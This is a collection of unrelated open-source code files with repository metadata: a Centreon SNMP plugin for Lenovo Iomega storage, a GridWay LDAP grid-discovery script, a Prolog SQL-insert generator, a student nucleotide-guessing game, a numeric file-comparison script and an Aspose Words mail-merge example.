# # Copyright 2022 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package storage::lenovo::iomega::snmp::plugin; use strict; use warnings; use base qw(centreon::plugins::script_snmp); sub new { my ($class, %options) = @_; my $self = $class->SUPER::new(package => __PACKAGE__, %options); bless $self, $class; $self->{version} = '1.0'; $self->{modes} = { 'cpu' => 'snmp_standard::mode::cpu', 'hardware' => 'storage::lenovo::iomega::snmp::mode::hardware', 'interfaces' => 'storage::lenovo::iomega::snmp::mode::interfaces', 'list-interfaces' => 'snmp_standard::mode::listinterfaces', 'list-storages' => 'snmp_standard::mode::liststorages', 'memory' => 'storage::lenovo::iomega::snmp::mode::memory', 'storage' => 'snmp_standard::mode::storage' }; return $self; } 1; __END__ =head1 PLUGIN DESCRIPTION Check Lenovo Nas Iomega (ix2) in SNMP. =cut
centreon/centreon-plugins
storage/lenovo/iomega/snmp/plugin.pm
Perl
apache-2.0
1,669
#!/usr/bin/perl # -------------------------------------------------------------------------- # Copyright 2002-2009 GridWay Team, Distributed Systems Architecture # Group, Universidad Complutense de Madrid # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # -------------------------------------------------------------------------- use Net::LDAP; ########### # Discovery ########### sub dynamic_discover { # Arg1 = BDII # Arg2 = QUEUEFILTER # Arg3 = TMPFILE my($bdii, $QUEUEFILTER, $TMPFILE) = @_; open(TMPFILE,">$TMPFILE"); $ldap = Net::LDAP->new( "$bdii:2170" ) or print TMPFILE "DISCOVER - FAILURE $@\n"; $mesg = $ldap->bind ; # an anonymous bind $mesg = $ldap->search( # perform a search base => "mds-vo-name=local,o=grid", filter => "(&(objectclass=GlueCE)$QUEUEFILTER)" ); my $max = $mesg->count; for($i = 0 ; $i < $max ; $i++) { my $entry = $mesg->entry($i); foreach my $attr ($entry->attributes) { my $value = $entry->get_value($attr); if ($attr eq "GlueCEUniqueID") { ($host,$trash) = split (":",$value); push (@hosts,$host); } } } print TMPFILE "DISCOVER - SUCCESS @hosts\n"; close(TMPFILE); $mesg = $ldap->unbind; } ########### # Monitor ########### sub dynamic_monitor { # Arg1 = BDII # Arg2 = MID # Arg3 = HOST # Arg4 = QUEUEFILTER # Arg5 = TMPFILE my ($bdii, $mid, $host, $QUEUEFILTER, $TMPFILE) = @_; open(TMPFILE,">$TMPFILE"); $ldap = Net::LDAP->new( "$bdii:2170" ) or print TMPFILE "DISCOVER - FAILURE $@\n"; $mesg = $ldap->bind ; # an anonymous bind # First search $mesg = $ldap->search( # perform a search base => "mds-vo-name=local,o=grid", filter => "(&(objectclass=GlueCE)(GlueCEInfoHostName=$host)$QUEUEFILTER)" ); my $max = $mesg->count; # Default values $info = ""; $queue_nodecount = 0; $queue_freenodecount = 0; $queue_maxtime = 0; $queue_maxcputime = 0; $queue_maxcount = 0; $queue_maxrunningjobs = 0; $queue_maxjobsinqueue = 0; for($i = 0 ; $i < $max ; $i++) { my $entry = $mesg->entry($i); foreach my $attr ($entry->attributes) { my $value = $entry->get_value($attr); if ($attr eq "GlueCEInfoTotalCPUs") { $nodecount = $value; $queue_nodecount = $value; } elsif ($attr eq "GlueCEUniqueID") { ($trash,$lrms_name) = split ("/",$value); ($lrms_name1,$lrms_name2,$trash) = split ("-",$lrms_name); $lrms_name = $lrms_name1 . "-" . $lrms_name2; } elsif ($attr eq "GlueCEInfoLRMSType") { $lrms_type = $value; } elsif ($attr eq "GlueCEName") { $queue_name = $value; } elsif ($attr eq "GlueCEStateFreeCPUs") { $queue_freenodecount = $value; } elsif ($attr eq "GlueCEPolicyMaxWallClockTime") { $queue_maxtime = $value; } elsif ($attr eq "GlueCEPolicyMaxCPUTime") { $queue_maxcputime = $value; } elsif ($attr eq "GlueCEPolicyMaxTotalJobs") { $queue_maxjobsinqueue = $value; } elsif ($attr eq "GlueCEPolicyMaxRunningJobs") { $queue_maxrunningjobs = $value; } elsif ($attr eq "GlueCEStateStatus") { $queue_status = $value; } elsif ($attr eq "GlueCEPolicyPriority") { $queue_priority = $value; } elsif ($attr eq "GlueCEStateWaitingJobs") { $queue_jobwait = $value; } elsif ($attr eq "GlueCEAccessControlBaseRule") { my @values = $entry->get_value($attr); $queue_access = ""; foreach $value(@values) { ($trash,$value) = split (":",$value); $queue_access = "$queue_access:$value:"; } } } $info = $info . "QUEUE_NAME[$i]=\"$queue_name\" QUEUE_NODECOUNT[$i]=$queue_nodecount QUEUE_FREENODECOUNT[$i]=$queue_freenodecount QUEUE_MAXTIME[$i]=$queue_maxtime QUEUE_MAXCPUTIME[$i]=$queue_maxcputime QUEUE_MAXJOBSINQUEUE[$i]=$queue_maxjobsinqueue QUEUE_MAXRUNNINGJOBS[$i]=$queue_maxrunningjobs QUEUE_STATUS[$i]=\"$queue_status\" QUEUE_DISPATCHTYPE[$i]=\"batch\" QUEUE_PRIORITY[$i]=\"$queue_priority\" QUEUE_JOBWAIT[$i]=\"$queue_jobwait\" QUEUE_ACCESS[$i]=\"$queue_access\" "; } # Second search $mesg = $ldap->search( # perform a search base => "mds-vo-name=local,o=grid", filter => "(&(objectclass=GlueHostOperatingSystem)(GlueSubClusterName=$host))" ); $max = $mesg->count; for($i = 0 ; $i < $max ; $i++) { my $entry = $mesg->entry($i); foreach my $attr ($entry->attributes) { my $value = $entry->get_value($attr); if ($attr eq "GlueHostOperatingSystemName") { $os_name = $value; } elsif ($attr eq "GlueHostOperatingSystemVersion") { $os_version = $value; } elsif ($attr eq "GlueHostProcessorModel") { $cpu_model = $value; } elsif ($attr eq "GlueHostProcessorClockSpeed") { $cpu_mhz = $value; } elsif ($attr eq "GlueHostArchitectureSMPSize") { $cpu_smp = $value; } elsif ($attr eq "GlueHostMainMemoryRAMSize") { $free_mem_mb = $value; $size_mem_mb = $value; } } } $info = "HOSTNAME=\"$host\" ARCH=\"i686\" NODECOUNT=$nodecount LRMS_NAME=\"$lrms_name\" LRMS_TYPE=\"$lrms_type\" OS_NAME=\"$os_name\" OS_VERSION=\"$os_version\" CPU_MODEL=\"$cpu_model\" CPU_MHZ=$cpu_mhz CPU_SMP=$cpu_smp FREE_MEM_MB=$free_mem_mb SIZE_MEM_MB=$size_mem_mb " . $info . "\n"; $mesg = $ldap->unbind; print TMPFILE "MONITOR $mid SUCCESS $info"; close (TMPFILE); } ########### # Main ########### # Read Arguments $action = $ARGV[0]; if ($action eq "DISCOVER") { # Arg1 = BDII # Arg2 = QUEUEFILTER # Arg3 = TMPFILE &dynamic_discover($ARGV[1],$ARGV[2],$ARGV[3]); } elsif ($action eq "MONITOR") { # Arg1 = BDII # Arg2 = MID # Arg3 = HOST # Arg4 = QUEUEFILTER # Arg5 = TMPFILE &dynamic_monitor($ARGV[1],$ARGV[2],$ARGV[3],$ARGV[4],$ARGV[5]); } else { die "ERROR: MAD invoked incorrectly\n"; }
oldpatricka/Gridway
src/im_mad/gw_im_mad_egee_ldap.pl
Perl
apache-2.0
6,237
:- module(pl2sqlinsert,[pl2sqlInsert/2]). :- include(library(assertions)). :- use_module(library(lists),[append/3]). :- multifile [sql__relation/3,sql__attribute/4]. :- data [sql__relation/3,sql__attribute/4]. pl2sqlInsert(ConstantTuple,SQLInsertString):- ConstantTuple=..[PredName|AttrValues], constants_list(AttrValues,AttrValues), %% all elements must be constant to be inserted sql__relation(PredName,_Arity,TableName), attributes_list(TableName,AList), sqlInsertString(TableName,AList,AttrValues,SQLInsertString). sqlInsertString(TableName,AttrList,AttrValues,InsertString) :- atom_codes(TableName,TableString), stringsList2stringEnumeration(AttrList,AttributesString), betweenBrackets(AttributesString,AttributesTuple), append(TableString," ",TabStrSp), append(TabStrSp,AttributesTuple,StringAfterInto), append("INSERT INTO ",StringAfterInto,IntoString), valuesList2stringEnumeration(AttrValues,StringAfterValues), betweenBrackets(StringAfterValues,ValuesTuple), append(ValuesTuple,";",ValStr), %% SQL sentence ended by ';' append(" VALUES ",ValStr,ValuesString), append(IntoString,ValuesString,InsertString). stringsList2stringEnumeration([],""). stringsList2stringEnumeration([Str],Str):- !. stringsList2stringEnumeration([Str1|Rest],NewStr):- stringsList2stringEnumeration(Rest,Str), append(Str1,",",Str_Comma), append(Str_Comma,Str,NewStr). valuesList2stringEnumeration([],""). valuesList2stringEnumeration([Value],String):- number(Value), !, number_codes(Value,String). valuesList2stringEnumeration([Value],String):- atom(Value), !, atom_codes(Value,StringValue), betweenApostrophes(StringValue,String). valuesList2stringEnumeration([Val1|Rest],NewStr):- valuesList2stringEnumeration([Val1],Str1), append(Str1,",",Str1_Comma), valuesList2stringEnumeration(Rest,Str), append(Str1_Comma,Str,NewStr). betweenBrackets(Str,BrackStr):- % append("(",Str,OpenStr), append([0'(|Str],")",BrackStr). betweenApostrophes(Str,ApStr):- replaceEscapeSeqs(Str,Str0), % append("'",Str0,Str1), append([0''|Str0],"'",ApStr). replaceEscapeSeqs([],[]). replaceEscapeSeqs([0'\\,0''|Xs],[0'\\,0''|Ys]):- % Do not escape it if it is replaceEscapeSeqs(Xs,Ys), !. % already escaped. replaceEscapeSeqs([0'\\,0'"|Xs],[0'\\,0'"|Ys]):- % Do not escape it if it is replaceEscapeSeqs(Xs,Ys), !. % already escaped. replaceEscapeSeqs([0'\\,0'\\|Xs],[0'\\,0'\\|Ys]):- % Do not escape it if it is replaceEscapeSeqs(Xs,Ys), !. % already escaped. replaceEscapeSeqs([0''|Xs],[0'\\,0''|Ys]):- replaceEscapeSeqs(Xs,Ys), !. replaceEscapeSeqs([0'"|Xs],[0'\\,0'"|Ys]):- replaceEscapeSeqs(Xs,Ys), !. replaceEscapeSeqs([0'\\|Xs],[0'\\,0'\\|Ys]):- replaceEscapeSeqs(Xs,Ys), !. replaceEscapeSeqs([X|Xs],[X|Ys]):- replaceEscapeSeqs(Xs,Ys). constants_list([],[]). constants_list([Head|Tail],[Head|CLTail]):- %% atom(Head),!, nonvar(Head),!, constants_list(Tail,CLTail). constants_list([_Head|Tail],CLTail):- constants_list(Tail,CLTail). attributes_list(TableName,[]):- sql__relation(_PredName,0,TableName),!. attributes_list(TableName,List):- sql__relation(_PredName,Arity,TableName), %% Arity is >0 attrs_list(TableName,0,Arity,List). attrs_list(_TableName,Arity,Arity,[]):- !. attrs_list(TableName,Location,Arity,[AttStringName|List]) :- LocationPlus1 is Location+1, sql__attribute(LocationPlus1,TableName,AttName,_AttType), atom_codes(AttName,AttStringName), attrs_list(TableName,LocationPlus1,Arity,List).
leuschel/ecce
www/CiaoDE/ciao/library/persdb_sql_common/pl2sqlinsert.pl
Perl
apache-2.0
3,475
#write a program that randomly chooses one of four nucleotides (ATCG) #and then keeps prompting the user until you guess the correct one. #doesn't need to be a subroutine. # print "S. Barclay\n"; print "BIFS617 Week 8 Conference 1\n\n"; # #Randomly generate nucleotide @nucleotide = ('A','T','C','G'); $base=$nucleotide[rand @nucleotide]; print "\nPick your poison: A, T, C, or G?\n"; $answer=<STDIN>; chomp $answer; while ($answer ne $base) {print "We're out of that particluar brew, matey. What else can I get you?\n"; $answer=<STDIN>; chomp $answer}; print "Arrgh! $answer it is!\n";
VxGB111/Perl-Programming-Homework
Week8conference1.pl
Perl
bsd-2-clause
612
#!/usr/bin/perl # # Copyright (C) 2006, 2007 Sony Computer Entertainment Inc. # All rights reserved. # # Redistribution and use in source and binary forms, # with or without modification, are permitted provided that the # following conditions are met: # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the Sony Computer Entertainment Inc nor the names # of its contributors may be used to endorse or promote products derived # from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # $file1 = $ARGV[0]; $file2 = $ARGV[1]; if (!open(FILE1, "<$file1")) { print "Couldn't open $file1\n"; exit; } if (!open(FILE2, "<$file2")) { print "Couldn't open $file2\n"; exit; } print "Comparing $file1 $file2\n"; $lineno1 = 0; $lineno2 = 0; while(($line1 = <FILE1>) && ($line2 = <FILE2>)) { $lineno1++; $lineno2++; if ( $line1 =~ m/\:$/ ) { $line1 = <FILE1>; $lineno1++; } if ( $line2 =~ m/\:$/ ) { $line2 = <FILE2>; $lineno2++; } $line1 =~ s/^.*\: //g; $line2 =~ s/^.*\: //g; @words1 = split(/ /,$line1); @words2 = split(/ /,$line2); for ($i = 0; $i < @words1; $i++) { $word1 = $words1[$i]; $word2 = $words2[$i]; $word1 =~ s/\s//g; $word2 =~ s/\s//g; if ( $word1 ne $word2 ) { $error = abs($word1 - $word2); $limit = abs(1e-4 * $word1); if ( $error > $limit && !( abs($word1) < 1e-4 && $error < 1e-4 ) ) { print "$lineno1: $word1 $lineno2: $word2\n"; } } } }
xissburg/XDefrac
bullet-2.78/Extras/vectormathlibrary/tests/compare.pl
Perl
mit
2,815
#ExStart:1 use lib 'lib'; use strict; use warnings; use utf8; use File::Slurp; # From CPAN use JSON; use AsposeStorageCloud::StorageApi; use AsposeStorageCloud::ApiClient; use AsposeStorageCloud::Configuration; use AsposeWordsCloud::WordsApi; use AsposeWordsCloud::ApiClient; use AsposeWordsCloud::Configuration; my $configFile = '../Config/config.json'; my $configPropsText = read_file($configFile); my $configProps = decode_json($configPropsText); my $data_path = '../../../Data/'; my $out_path = $configProps->{'out_folder'}; $AsposeWordsCloud::Configuration::app_sid = $configProps->{'app_sid'}; $AsposeWordsCloud::Configuration::api_key = $configProps->{'api_key'}; $AsposeWordsCloud::Configuration::debug = 1; $AsposeStorageCloud::Configuration::app_sid = $configProps->{'app_sid'}; $AsposeStorageCloud::Configuration::api_key = $configProps->{'api_key'}; # Instantiate Aspose.Storage and Aspose.Words API SDK my $storageApi = AsposeStorageCloud::StorageApi->new(); my $wordsApi = AsposeWordsCloud::WordsApi->new(); # Set input file name my $name = 'SampleInvoiceTemplate.doc'; my $filedataname = "SampleInvoiceTemplateData.txt"; my $destfilename = "updated-" . $name; # Upload file to aspose cloud storage my $response = $storageApi->PutCreate(Path => $name, file => $data_path.$name); # Invoke Aspose.Words Cloud SDK API to execute mail merge and populate a word document from XML data $response = $wordsApi->PostDocumentExecuteMailMerge(name=> $name, file=>$data_path.$filedataname, withRegions=>'True'); if($response->{'Status'} eq 'OK'){ print "\nmail merge template has been executed successfully."; # Download updated document from storage server $response = $storageApi->GetDownload(Path => $destfilename); my $output_file = $out_path. $destfilename; write_file($output_file, { binmode => ":raw" }, $response->{'Content'}); } #ExEnd:1
aspose-words/Aspose.Words-for-Cloud
Examples/Perl/Mail-Merge/ExecuteWithRegions.pl
Perl
mit
1,871